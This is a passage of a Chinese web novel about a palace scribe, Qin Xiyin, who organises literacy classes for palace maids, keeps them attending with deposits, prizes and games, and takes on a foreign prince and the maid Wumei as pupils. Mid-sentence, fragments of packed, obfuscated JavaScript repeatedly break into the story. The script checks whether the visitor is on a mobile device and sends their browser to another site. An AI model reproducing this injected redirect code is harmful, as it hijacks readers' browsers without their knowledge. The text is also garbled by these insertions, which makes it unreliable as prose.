0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751588|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这会,逢春正在太后身边伺候,入夏和辞冬在耳房休息。 秦惜音见到了她们俩,请她们帮忙凑人头。 入夏态度中立,辞冬却不太愿意,说道:“惜音,我最讨厌看书了,你要我每两天去上一次课,实在是一种折磨。” 秦惜音道:“辞冬姐姐,你就当帮帮我嘛。” “唉,我实在是坚持不了……要不你让入夏去吧。” 入夏笑盈盈地说:“惜音,如果你缺人的话,可以算上我。” 秦惜音兴奋地抓住入夏的手,道:“谢谢入夏姐姐!” 接着,秦惜音又去找了寿康宫的二等宫女和三等宫女。这些宫女当中,愿意当固定学员的有三个。 再加上逢春和入夏,寿康宫就有五个了。 再加上冷宫的五个宫女,就有十个人了。 秦惜音请这十个宫女去拉自己要好的小姐妹一起来上课,她们又拉来八个人。 现在,学员一共凑齐了十八个。 秦惜音记下这十八个人的名字、宫室,然后想了想接下来该去哪里拉人,拉满人之后怎么让她们努力学习、不退出。 想着想着,就月上中天了。 秦惜音虽然没有睡意,但也逼着自己睡觉,这样第二天才有精神。 第二天醒来时,秦惜音决定去找一位故人——月季。 月季是瑾妃宫里的宫女,也是暗卫。之前,秦惜音曾多次跟她打过交道,自问有一些交情。 秦惜音来到瑾妃宫里,向看门的太监塞了点银子,让他带自己去见月季。 见到月季后,秦惜音说明了来意。 月季直接地说道:“我不去。” “月季姑姑,难道您不想多学点知识吗?” “没这个必要。” “但是,当暗卫的日子很枯燥吧?如果你读书识字,就可以随时在身上踹一本书,有空的时候拿出来看,打发时间。” “用不着这么麻烦,空闲时间我会发呆或者练功。” “月季姑姑,你这辈子做的一切,都是为了别人,难道不想为自己活一次吗?你幼年时流离失所,是天灾所迫;被人收养,培养成女暗卫,是人力所迫;进宫保护瑾妃,是主子所迫。 这辈子,你没有一件事是自己选择的。为什么不能主动选择去读书呢?瑾妃也许不需要一个学识渊博的暗卫,但你可以从书中找到慰藉。 如果你识文断字,就会从书中结识聂隐娘、红线、红拂女等侠女,知道以前那些会武功的女子都过着什么样的生活。即便你的人不能离开,但你的心可以飘摇万里。” 月季想了一阵,说道:“我加入。” “太好了,那您能不能带几个愿意读书的好朋友,一起来听课?” “我没有好朋友,不过可以帮你问问同一个宫的宫女。” “谢谢月季姑姑。” 后来,月季说能带两个人来。 这样,固定学员就有21个了,还差9个人。 秦惜音觉得,后宫娘娘们应该都需要识文断字的得力助手,但她们的心腹却未必有文化。有文化的新人,她们又不敢用,或不愿意用。 所以,以培训心腹为名,游说各宫娘娘,让她们把心腹宫女交出来上课,应该可行。 62. 学员齐聚 秦惜音先来到杨昭仪的宫殿,对杨昭仪说明来意。 杨昭仪打量着秦惜音,见她的脸已经毁容,露出一抹不易察觉的微笑。 接着,杨昭仪道:“惜音,你去了尚仪局的司籍司,可还习惯?” 秦惜音恭敬道:“多谢娘娘记挂,奴婢一切都好,只是不小心伤了脸,这恐怕也是奴婢福薄。” 杨昭仪知道,秦惜音现在不可能对她构成任何威胁,语气便和缓了一些,笑道:“你刚才提的事,本宫觉得不错。本宫身边没有通文墨的助手,平时很多事都要本宫自己做,也挺累了。 本宫会派几个机灵的宫女,去司籍司当固定学员。到时候,还要你多费心教她们了。” “是,奴婢一定竭尽所能。” “常用的字是一定要会写的,还要学会写信件、邀请函之类的。还有,算术也要好好培训一下。至于其他方面,不用学得太深。” “是,奴婢记住了。” 接着,秦惜音往外走,刚好看见杨昭仪的一等宫女乌梅端着一些水果走过来。 忽然,从月洞门后冲出一个穿着黑袍的孩子,伸手抓了几个果子,就往嘴里塞。 乌梅一把将那孩子推倒在地,把他手里的果子抢回来,说道:“干什么?这是给昭仪娘娘的水果,是你能随便吃的吗?” 那孩子被推倒了,也没哭,没出声,只是直勾勾地看着乌梅,眼神有些愤恨。 乌梅瞪了他一眼,径直走开,往杨昭仪屋里去了。 秦惜音见状,赶紧去扶那个孩子起来。 没想到,这孩子竟是她的旧识,荣国八皇子荣旻。 之前,秦惜音跟随使团出使荣国,签订合约后,有一条合约就是,荣国要派质子前往魏国。 荣国派出的质子就是八皇子荣旻,当时秦惜音一路与他同行,虽然没说过几句话,倒也彼此认识。 记得第一眼看到荣旻的时候,秦惜音只觉得他瘦弱、怯懦,现在却又多了几分凄惨,眉眼中还有几分愤世嫉俗。 看来,荣旻在杨昭仪这里过得并不好,就连乌梅这种宫女,都能随便欺负他。 荣旻也认出了秦惜音,叫道:“秦女官。” 秦惜音道:“八殿下,奴婢不是女官,只是个女史。之前我出使荣国,为了方便,才被临时加封为五品女官,回来之后就不是了。” “哦。” 荣旻也没多说什么,拍了拍身上的灰,就准备离开。 秦惜音问道:“八殿下,您是不是很久没吃水果了?” “嗯。不止是水果,还有好饭好菜也很久没吃过了。以前有一位娘娘曾经给我送吃的,但最近没见到了。” 秦惜音猜到,他说的那位娘娘应该就是曲南蕊。曲南蕊因为想抚养荣旻,反而遭到皇帝斥责,所以也不敢亲近荣旻了。 秦惜音对荣旻道:“八殿下,您在东北边的角门那儿等着,奴婢去给您拿点水果和好吃的。” “我不能直接跟你去吗?” “奴婢身份低微,而且也不是杨昭仪这里的宫人,不能直接把您带走,否则会被处罚。” “哦,谢谢……” 秦惜音摸了摸荣旻的头,便快速离开了。 回到房间后,她准备了一些零食、水果,又拿了两本连环画,然后回到芷萝宫,在东北角门处见到了荣旻。 她把这些东西都送给荣旻,荣旻道谢后,就狼吞虎咽起来。 秦惜音道:“八殿下,慢点吃……奇怪,您不是有从荣国带来的奴婢吗,她们怎么不管您?” 荣旻一边吃,一边说道:“她们从来不管我,每天不是喝酒赌钱,就是跑得没影。” 他说得轻描淡写,秦惜音却有些心疼。 不受宠的皇子,不仅在异国他乡被欺负,就连母国的宫人们,也不怎么管他。 荣旻吃完后,把衣袍下摆抓起来,给秦惜音看,说道:“这里裂开了,没人给我缝。” 秦惜音看见他华贵的黑袍果然已经有了裂缝,正好自己随身带了针线,就蹲下来帮他缝。 没过一会,缝好了,荣旻看着自己的衣服,完全看不出裂开的痕迹,似乎有些不敢相信。 他看着衣摆发了会呆,才说道:“谢谢。” “八皇子,您平时都在干什么?” “我没地方去,经常待在自己的房间里,也没人陪我玩。” “怎么不去国子监上学去?” “去了几天,但他们都欺负我,我就不去了。” “要不……您去奴婢的司籍司上课?” “司籍司?也是教学的地方吗?” “对,不过是给宫女们教学。如果您愿意去的话,奴婢可以跟长官说一声,给您留个位置。那些宫女们不敢欺负殿下的。” “好,那我去。” 秦惜音喜出望外,给他指了司籍司的方向。 虽然荣旻应该不能算进固定学员里面,但一来自己的学员多了一个,还能帮到这个无依无靠的孩子,秦惜音感觉很不错。 接着,秦惜音回到司籍司。 没过多久,杨昭仪就派人送来了要学习的宫女的名单。 名单上一共有三人,大宫女云雀,还有两个小宫女。 秦惜音本以为,杨昭仪会派乌梅来学习,因为乌梅和云雀都是她的心腹。 但是,名单上却没有乌梅的名字。 过了一会,秦惜音猜到了缘由。 乌梅长得很好看,如果她再学了文化知识的话,说不定太出挑了,会引起皇上的注意。 相比之下,云雀相貌平平,对杨昭仪又忠心耿耿,所以杨昭仪放心让云雀来学习。 毕竟,杨昭仪想培养的是得力助手,而不是竞争对手。 接下来的几天,秦惜音又去了其他妃嫔宫里,游说她们把自己的心腹宫女派来学习。 没过多久,固定学员就集齐了,还多出来几个。算上荣国八皇子荣旻,一共有35人。 秦惜音很激动,总算完成了第一步。 她挨个通知这些学员,明天早上的第一堂课务必要来,之后再根据自己的时间,确定上课的时间。 接着,她琢磨着应该怎样让这些学员爱上学习。 自己好好备课,讲得生动有趣是一方面;学习环境好,是另一方面。 秦惜音决定申请经费,每天准备一些糕点水果给学员们。这样,她们就更有理由来了。 于是,她去找荆双蝶商议。 荆双蝶却冷笑道:“她们是来学习的,还是来吃东西的?还要准备食物?公中出不起这笔钱。惜音,我劝你好好提高教学水平,别整这些歪门邪道。你这样跟贿赂学员有什么区别?” 秦惜音不敢再说,唯唯而退。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751589|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她也知道仅凭美食没法留住学员,也没法让她们认真学习。但是,在前期,舒适的环境还是有必要的,这能让学员们对司籍司留下好印象。 于是,她打算先把自己藏的零食拿出来,再去向黄典籍要一些吃的。 黄典籍倒是二话不说,把自己珍藏的零食全都拿了出来,说道:“惜音,我这些零食正愁没人吃呢,如果我自己一个人吃,牙要吃坏了。你拿去分给学员们,我还可以再做。” 秦惜音捧着一大堆零食,激动地道谢:“谢谢黄典籍!” “别客气,我也希望你能把那些学员教好。那些宫女也挺可怜的,平时吃不好、穿不好,被主子呼来喝去的,没有自由。她们好不容易挤出点时间来司籍司,咱们要把她们照顾好。” “嗯。” 第二天一早,35名固定学员都来了,还有一些流动的宫女,加起来有四十多人。 还好教室够大,坐得下。 她们看见崭新的笔墨纸砚、柔软的坐垫,还有桌子上摆放的食物,都十分开心。 一些年纪小的宫女,三两下就把零食给吃光了,然后吱吱喳喳地聊天,显得很兴奋。 逢春一来就看书,两耳不闻窗外事。 还有一些年长的宫女,平时很少见面,但以前关系好,也趁着一起上课的功夫聊聊天。 荣国八皇子荣旻坐在最角落的位置,双手放在书桌上,端端正正的。他不看别人,也不理会别人的目光。 有些宫女注意到了荣旻,都不知道他的身份,忍不住多议论几句。 这时,秦惜音走了进来,说道:“感谢各位抽空来司籍司上课。大家时间宝贵,就省去互相介绍的环节了。反正以后见面次数多了,大家都会彼此认识的。 不过,我要特别介绍一个人,就是荣国八皇子殿下。他坐在最角落,也是来跟大家一起学习的。大家对他要恭敬,但也不必太拘束。 八殿下很希望有玩伴,下课之后,你们可以跟他玩。但上课时要专心,不要一直看他。” 众宫女们听说了荣旻的身份,都十分惊奇,还有些兴奋。 这种天潢贵胄,平时她们根本就接触不到。没想到,荣国八皇子竟会跟她们在一间教室上课。 这是为什么?也许,是因为八皇子是小孩,没读过多少书,学习进度跟这些小宫女们差不多吧。 又或者,他是想偷偷观察魏国宫女们的学习氛围? 有很多宫女觉得,自己一定要好好学习,给荣国皇子留个好印象。如果荣国人知道魏国连宫女都好学的话,说不定会畏惧魏国,不再开战。 她们这么想着,平添了一份使命感和责任感。 这些宫女们丰富的心理活动,秦惜音当然不知道。 秦惜音接着说道:“接下来,我想跟大家说说,为什么要读书。也许,你们会觉得,身为宫女,读书无用。但是,一旦你识文断字,就能接触到更大的世界。 你们会发现,除了伺候人之外,你们还能从阅读中得到快乐,从算术中得到思辨。 而且,读书会让人变得聪明,主子们也更喜欢识文断字的下人。只要你们好好学习,将来升为一等宫女,成为主子心腹,不在话下。已经是一等宫女的,也能够凭借自己的学识帮到主子,获得主子的奖赏。 开卷有益,我相信大家会逐渐体会到的。” 63. 连云妙计 大家都认真地听着,秦惜音也增加了一些信心。 接着,秦惜音道:“今天,我想给大家讲一个故事。以前有个地方叫黔,那里本来没有驴。后来,有人运了一头驴过去,放养在山下。没过多久,山中的老虎看见了驴,感到害怕,因为它从来没见过这种动物。它以为,驴是什么神物,比自己还要厉害。”【注释1】 秦惜音讲到这里,故意停顿了一会。 有个宫女问道:“后面呢?” 秦惜音笑道:“后面的故事,都在纸上,我发给大家,大家慢慢看。有不懂的字词,可以随时问我,或是问其他懂的学员。等每个人都能读懂这个故事,就算过关。 最早读懂故事的三个学员,计一分。每十天,分数最高的几人,可以获得我给的红包和神秘礼品。 已经读懂这个故事的学员,可以告知我,我会安排别的课外阅读篇目。” 说着,秦惜音把几张纸发了下去。每张纸上,都写着这个故事的下半段。这是秦惜音昨天晚上亲手抄写的。 这个故事就是“黔驴技穷”,一共也没几句话,适合初学者学习。 如果她们搞懂了后半部分的意思,那至少学会了几十个字,而且能读基础的文言文,进步会很大。 众人领到纸后,都一头雾水,只有少部分人能看下去。 许多宫女互相讨论起来: “这上面的字我怎么只认识几个啊,其他字都是什么意思?” “不知道啊,我只认识‘一’、‘大’、‘又’这几个字。” “我也是……你们看这个字,怎么这么奇怪,真的有这种写法的字吗?” “这有什么奇怪的,我还见过字形更复杂的字呢,只是不认得。” “‘他’和‘日’我倒是认识,但‘他日’两个字连起来,是什么意思?” “我知道,‘他日’就是‘有一天’。” “那跟‘他’有什么关系呢?为什么‘他日’就是有一天?” “这我就不知道了……” 见众人讨论得热火朝天,秦惜音非常高兴。她和其他几个女史在教室里到处巡逻,方便不同的学生问问题。 秦惜音走到荣旻身边时,荣旻道:“这几句话我读得懂,对我来说太简单了,能不能让我学别的?” 秦惜音道:“是吗?那请八皇子翻译一下。” 荣旻便把下半段全都翻译了,翻译得很准确,没有错误,也没有读错字。 秦惜音又指了几个字,单独询问字的意思,荣旻也都答得很好。 秦惜音知道了他的水平,便给了他一本《说苑》,让他慢慢看。【注释2】 接着,秦惜音看到逢春在朝自己看,好像想跟自己说话。 于是,秦惜音便走了过去。 逢春道:“这是‘黔驴技穷’的故事,我能读懂。” 秦惜音便让她翻译了一遍。她翻译得大体上没错,只有几个字理解错了,秦惜音纠正了她。 接着,秦惜音说道:“逢春姐姐,你太优秀了,我给你记一分。” 逢春有些惊喜:“真的吗?我是前几个读懂的?” “对,除了荣国八皇子之外,你是第一个读懂的。他只是来旁听的,不参与计分,不会影响到你们。逢春姐姐,你太厉害了,加油。” 逢春感动地看着秦惜音,忽然说道:“惜音,谢谢你。” 秦惜音笑道:“这本就是我分内之事,姐姐不必谢我。” “不,我从你身上学到了很多……你未必明白,但是从今天起,我会把你当成最好的朋友。” “那真是太好了,朋友多多益善。” 秦惜音发自内心地笑了。她跟逢春也算是化敌为友了,只是逢春一直以为秦惜音不知道自己以前做的事。 接着,秦惜音就给逢春看另外一篇复杂一些的文章。 逢春见自己的学习进度在别人之上,也振奋起来,越发努力地学习。 大约五六天后,所有的固定学员都搞懂了“黔驴技穷”的故事,秦惜音就换另一篇故事,给她们讲解。 讲故事的形式比较有趣,大家都愿意花时间去读懂故事,不知不觉掌握了很多字词。 而一些本来就有基础的、学习进度比较快的学员,秦惜音会根据她们的进度,给她们上不同的课。 同时兼顾不同进度的学生,有点难度,但秦惜音都尽量做到了。后来,她上起课来也更加得心应手。 秦惜音还完善了计分制度,比如帮助同学一次,计一分;当助教一次,计三分(只有达到一定水平才能当助教);帮秦惜音抄写文章一次,计二分;等等。 第一个十天到了,分数最高的是逢春、东风、云雀三名宫女。 秦惜音给她们发了自己准备的小礼品,三人都挺开心的。 不过,时间长了之后,大家的积极性都没之前那么高了,有些固定学员开始不来上课。 有时候,课堂上经常只有十几个人,甚至不到十个。 秦惜音虽然不停地走访学员,劝她们回来上课,但她们要么含糊地表示有空一定会回来,要么直接说自己太忙,没法固定上课时间。 秦惜音这才发现,要让30个人的成绩都达到甲等,实在是困难重重。 大部分人都不再学习了,哪还能取得好成绩? 但是,秦惜音一时又想不出什么好法子。总不能直接跟学员们说,她们的考试成绩关系着自己能否升为女官。 别人为什么要为了秦惜音的升官而努力? 说不定秦惜音说明这层利害关系后,有些人还会故意考低分,阻碍秦惜音晋升。 所以,秦惜音肯定不能说出这件事。 目前,她除了努力提高教学水平、增加课堂趣味性之外,没别的办法。 可是,尽管她已经竭尽全力,但收效甚微。 像逢春这样目标明确、非要考女官不可的宫女,倒是不用督促,有空一定会来上课;但是对于一些没有什么追求,或是对学习压根不感兴趣的宫女,就很难督促她们上学了。 这天,秦惜音趴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751590|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书桌上,感叹道:“有免费的课程,为什么不来学呢?真想不通……” 这时,有个声音在她身边响起:“御花园东边长了很多韭菜,可以免费拔,你为什么从来不去呢?” 秦惜音回头一看,见是连云来了,便笑着让座,说道:“我知道那里有免费的韭菜,但我不喜欢吃韭菜,所以不会去拔。” 连云道:“司籍司虽然有免费的课程、认真讲学的女史,但人家对知识不感兴趣,当然不会来。” 秦惜音感叹道:“是啊,大部分人对知识是不感兴趣的,我催着她们来也没用……” “那你觉得大部分人都感兴趣的东西是什么?” “我不知道……是钱吗?” “没错。我给你出个主意:你让每个固定学员都签一份协议,协议上写着,每人上交100文钱,参加学习。每两天至少要来上一次课,一个月内不缺课的,返还50文。只要两个月不缺课,就返还100文。三个月不缺课,还能倒赚50文。 另外,在固定的课程之外,每多上一节课,奖励两文钱;在考试中取得甲等,奖励40文。而且不限次数,也就是说,考两次甲等,就给80文;考三次甲等,就给120文,上不封顶。 如果一个月内有缺课的话,这上交的一百文就没收,不会归还。如果还想参加学习协议,就要重新缴纳一百文。” 秦惜音道:“可是这么一算的话,我很有可能要自己贴钱进去。” “在理想状态下,每个人都为了考甲等而努力,说不定一两个月,你就达成了全员甲等的目标。到时候,你就算给每个人奖励40文,加起来也才一两多银子,还不到二两,难道你还出不起吗?” “这倒是……出一点点钱就能达成目的,那我何必在乎这一两二两的……我如果拿几两银子买吃的,吸引学员来上课,她们未必来,而且也未必愿意好好学习、考到甲等。还是连云姐姐的办法好。” 连云道:“而且,其实不是每个学员都能拿回自己的钱的。有些人因为各种各样的原因,可能会缺课。只要缺了一节,你就可以没收她们的一百文。因为已经提前签了协议,她们也没话说。而且,她们可能为了赚回来,会继续签订下一份学习协议,并且抽更多时间来上课,并努力让自己考到甲等。 说不定,最后完成目标时,你会发现自己还赚了一笔小钱呢。” 秦惜音佩服地看着连云,道:“连云姐姐,你真聪明……我觉得,你完全有当女官的资质。” 连云摇了摇头:“我对当女官没兴趣。你加油吧。” 秦惜音把连云提出的方案完善了一下,然后分别去跟固定学员们谈这件事。 大概有20个固定学员愿意签这个协议,剩下的人觉得自己肯定没法坚持上课,所以不愿意签。 虽然这跟自己预想中的有差距,但秦惜音觉得,至少已经成功了一半了。 签了协议的20人,为了赚钱,肯定会努力学习。剩下的10来个人,秦惜音再想办法激发她们的学习积极性就可以了。 64. 乌梅求情 从此以后,大部分固定学员确实比以前更积极了。剩下的人见到大部分人都在认真学习,也不好意思太懒散。 在第一次全员考试后,秦惜音发现,一共有12个人取得了甲等成绩,还有9个取得了乙等,剩下的是丙等。 秦惜音按照协议,给取得甲等的人发了奖金。其他没得奖金的,都有些羡慕。 秦惜音暗中高兴,因为她看得出来,剩下的人应该是想努力一把,争取在下一次考试中得到奖金的。 学员们的考试是不固定时间的,教学的人觉得什么时候测试一下合适,就可以组织一场考试。 不过,在大家的学习进度都没跟上的时候,随便考试也没有多大意义。所以,一般一个月会有两三次大型考试,甚至只有一次。 这天,秦惜音举办了一场游戏。 她撕了很多小纸条,在纸条上写下不同人的名字。有些名字是固定学员的名字,也有些不是。 这些小纸条被藏在司籍司的各个地方,三十多个固定学员们可以分头寻找小纸条。 只要她们找到小纸条,并且纸条上是学员的名字,就可以记一分。 最终,根据不同的分数,可以获得不同的奖品。 比如,5分以上的人可以得到一块香皂,十分以上的可以得到一瓶桂花头油,等等。 这个游戏既要足够有眼力,能在各种地方发现细小的纸条;又要认识足够多的字,这样才能知道纸条上的字是不是学员的名字。 而且,玩这个游戏,还能把名字和人一一对应上,增加大家的熟悉度。 众学员都玩得不亦乐乎。 有些人识字较多,只要找到纸条,就能判断出这是不是同学的名字;也有些人只认识简单的字,经常要问别人这是不是同学的名字。 只不过,别人未必说实话。 所以,经常出现识字多的人把识字少的人的纸条骗走,换奖品的事。 那些识字少的人,一边生闷气,一边暗中发誓,接下来一定要好好学习,再也不受骗。 虽然这个游戏会存在一些欺骗的情况,但由于大家都是宫女,抬头不见低头见的,而且奖品也都不珍贵,没有翻脸的必要,所以也没闹出什么乱子。 倒是有几个小宫女被人骗了纸条后,躲在一边哭,秦惜音会去安慰她们,给她们一点零食。 有了零食后,小宫女们也不哭了,开始继续找纸条。 并且,她们学聪明了,会观察场上哪些同学会骗人,哪些同学不会。她们会去找不骗人的同学,询问纸条上的字。 秦惜音准备的纸条很多,确保大部分人能得到一样或者两样礼品。 游戏结束后,大家都很开心。 还有一些小宫女问道:“惜音姐姐,什么时候举办下一场游戏?” 秦惜音笑道:“在大家累计的课时达到100的时候,我就会举办一场这样的游戏。现在固定学员有34人,如果你们每人每天都来上一节课的话,三天左右就累计到100课时了,那么到第四天我就会举办一次活动。 如果你怕别人上课不积极,耽误了累计课时,而你又恰好有时间的话,一天也可以多上几节课。” 小宫女们很兴奋:“惜音姐姐,我们一定会多来上课的!” “是啊,我们有空就来!” “下一次也是找学员的名字吗?” “不是,下一次游戏,找的是诗句。我会在每张纸条上写下一句话,有些是诗句,有些不是。比如,‘床前明月光’是诗句,‘今晚吃茄子’不是诗句;‘离离原上草’是诗句,‘今天是阴天’不是诗句。如果你们能准确找到诗句,就可以累计分数,获得奖品了。” “听起来很有趣,那我从现在开始就要读诗集!” “听起来很难,我要是找错了怎么办?” 秦惜音笑道:“不会的,我对你们有信心。” 在学习协议和游戏的双重激励下,学员们的学习积极性进一步提高。 在第二次全员考试中,有20人取得了甲等,10人取得了乙等,剩下4人是丙等。 看着大家的成绩,秦惜音非常开心。她有把握,再过一两个月,让30人达到甲等,问题不大。 宫女们的考试不跟任何考核挂钩,所以试卷会比较简单,符合宫女们的学习水平。 只要认真学习的,都有希望考甲等。 秦惜音正看着这些试卷,琢磨着每个学员的薄弱点在哪里,下次教学该如何改进。 这时,玉秀走了过来,探头探脑的,问道:“惜音,这次的考试,有几人获得甲等?” 秦惜音含糊说道:“也没多少个。” 谁知,玉秀却一把将试卷抢了过去,随便翻了翻,说道:“不得了,有20个甲等。照这么下去,你很快就是女官了。” 秦惜音皱了皱眉。30个甲等可以换女官之位,本来是谢尚仪偷偷告诉秦惜音的,玉秀身为女史,怎么会知情? 但转念一想,玉秀是荆掌籍的表妹,而秦惜音要升女官的事,上面的官员肯定不会瞒着荆掌籍。 荆掌籍知道了,玉秀自然也就知道了。 秦惜音笑道:“还早得很呢。我跟你说,这些学员里面,也只有这20个比较不错的。剩下的都很笨,我头疼得很。” 玉秀阴阳怪气地道:“我看,你挺有办法的。恐怕过不了多久,我就该称你一声秦大人了。” “不敢。玉秀姐姐来得比我早,肯定是玉秀姐姐先升迁才是。” “我可没你这般好运,只要能让30人达到甲等,就能升上去。我还要老老实实地参加晋级考试。上一次,我就没通过。不过,我们这小门小户的女儿,也确实没法跟你这前宰相千金相比。” 秦惜音有些无语。学习水平如何,不是自己决定的吗?玉秀扯到家世上,是什么意思? 难道家世高的女孩,学习就一定更强一些? 简直毫无逻辑。 但是,秦惜音又不能得罪玉秀,只得笑着说道:“其实我从小就笨,只是因为花了很多时间在学习上,才显得比别人强些。玉秀姐姐聪明灵巧,只要稍加努力,一定出类拔萃,在我之上。 我和朋友们私下里都说,玉秀姐姐很有女官的风范呢。如果将来成为女官,说不定比荆掌籍更厉害。” 玉秀有些飘飘然,笑道:“我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751591|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没法跟荆掌籍比。总之,我们各自努力吧。祝你顺利。” 秦惜音听得一阵战栗。在她的观念里,玉秀所说的“祝你顺利”,差不多就等于“你给我小心点,我要给你挖坑了”。 不过,秦惜音觉得,玉秀和荆掌籍就算想动手脚,应该也不会做出什么过分的事吧? 她们总不至于把优秀的学员给杀了。 只要这些学员还在,秦惜音就有信心达成目标。 但是,不久之后,发生了一件让秦惜音始料未及的事。 有一批年纪较大的宫女,被瑾妃强行放出宫养老了。其中包括冷宫的宫人如梦、玛瑙,还有另外几位固定学员。 这下,秦惜音的固定学员少了6个,所剩的学员只有28人了。 而且,这被放出宫的六人,恰好是考了甲等的学员。 但是,也不是所有上了年纪的宫女都被放出去。有一些年纪较大,而且不在司籍司上课的,自己又愿意留在宫里的宫女,没有被放出去。 秦惜音也不知道瑾妃是根据什么标准放人的。 但是瑾妃管理六宫,这种小事她有决定权。秦惜音身为女史,根本无能为力,也不可能留下瑾妃要放出去的人。 秦惜音不知道这件事有没有荆掌籍和玉秀的手笔。不管有没有,她现在都没办法,只能接受这件事。 所以,她现在面临两个难关,一是要把固定学员补齐,二是要把学习能力没那么强的学员培养成甲等。 再找两人添上,倒不是难事。只是,能考甲等的人一下子少了六个,对秦惜音是不小的打击。 她消沉了好几天,才恢复了平静。 她想到了应对之策:自己要多找几个固定学员,而且一定要年轻的,这样就不会突然被放出宫去。 同时,还得是比较聪明的,这样能学得快些。 秦惜音最近有点忙,也没顾上寻找,暂时把重心放在培养现有的28名学员上。 这天,秦惜音备课备得有些累了,就出门逛逛。 没想到,她被人拉到了一处废弃的墙壁后面。 秦惜音看清拉她的人,竟然是杨昭仪身边的另一个一等宫女乌梅。 秦惜音问道:“乌梅姐姐,你找我有事吗?” 乌梅有些犹豫,问道:“那个……我听说上次女官考试的时候,你考了第一名,而且比第二名高了八十多分,是真的吗?” “嗯。” “这么说,你很有学问了?” “只能说,略懂诗书。” “不,你就别谦虚了……其实,我今天来找你,是有一件事想求你……” “乌梅姐姐但说无妨。” 乌梅抿了抿嘴唇,似乎有些艰难地说出一句话:“那个……你能不能偷偷教我读书?” 秦惜音有些惊讶。她本以为,乌梅要求她的是一件难事,没想到是这件事。 秦惜音笑道:“乌梅姐姐,你如果想学习的话,随时来司籍司都行啊。也未必要找我,司籍司的所有人都可以教你的。” “可是……杨昭仪不让我来。” 秦惜音不敢相信:“什么?杨昭仪还能不让你来学习?” 65. 大功告成 “是啊,我也不知道为什么……其实,我以前倒也没想过学习……但是,我和云雀本来地位相等,都是杨昭仪的心腹宫女。云雀自从来司籍司学习后,好像变得聪明了,回来之后也经常捧着书在看,杨昭仪也让她做更多的事。 渐渐的,我觉得云雀的地位好像在我之上了……这倒是其次,主要是,我看云雀学习之后,跟以前大不相同,说话、思维方式好像都进步了。我也有些羡慕,想一起来读书…… 但是,杨昭仪说,她对我另有安排,我不需要去学习,只需要帮她管事…… 可是,我心里很想学,所以,只能偷偷来找你帮忙……你看在我们以前一起伺候杨昭仪的份上,帮帮我吧。 我可以交学费。我知道,以前我对你不算友善,你被欺负时我也经常不管你…… 我向你道歉行不行?再不然,你打我几下出出气……” 秦惜音赶紧说道:“乌梅姐姐,以前的一些不愉快,我早就忘记了。既然你想学习,我可以偷偷教你。不过,要避开别人的耳目,我们可能得约定时间,比如说晚上某个时辰。至于学费,不需要交,司籍司本来就是教宫女学习的地方,教你读书也是我的本职工作之一。” 其实,秦惜音大概猜到了杨昭仪为什么不许乌梅来读书。 之前杨昭仪让云雀她们来上学时,并没有乌梅在内,秦惜音就猜测,可能因为乌梅比较漂亮,如果再有文化一些,很可能会引起皇上的注意,成为妃嫔。 而这并不是杨昭仪想看见的结果。 尽管乌梅对杨昭仪忠心,没有别的心思,但杨昭仪身为高位妃嫔,总是多想一步。 乌梅长得有些特别,并不是低眉顺眼的模样,而是娇美中带着几分高傲。单论长相,她其实并不完美,单眼皮,薄嘴唇,但五官组合在一起,与众不同,在一众平庸宫女中尤为惹眼。 只是,她也因为长相,差点错失了求学的机会。 秦惜音觉得,宫廷里的一切都很荒诞。 宠妃为了防止别人得宠,可以通过各种手段阻挠别人进步。 宫女太平庸会被嫌弃,太出色又会被忌惮。 而自己只是想取得跟才能相匹配的官位,就被毁容,还遇到了许多阻碍。 这世上,不自由的人太多了,大家都在苦苦挣扎。 乌梅听见秦惜音愿意帮忙,非常激动,说道:“谢谢……谢谢……” 秦惜音笑道:“乌梅姐姐,不用这么激动。” 乌梅不好意思地笑了:“我只是……有一个很强烈的想法,就是我想要有知识,有文化……除此之外,其他的事好像都没那么重要。你能实现我最大的心愿,我心里当然激动了…… 不过,我不能跟你约好固定的时间,毕竟我是大宫女,昭仪娘娘时不时地会有事吩咐我,不管是白天还是晚上都不例外。 这样吧,如果我某天晚上有空,就在你们司籍司门口的大石头上,放一朵丁香花,用小石头压住。你看到了,就可以来芷萝宫西门找我,我会在那里等你。” 秦惜音点头道:“好,没问题。不过,我也有一件事想求乌梅姐姐。” “你说吧,能做到的,我一定帮你。” 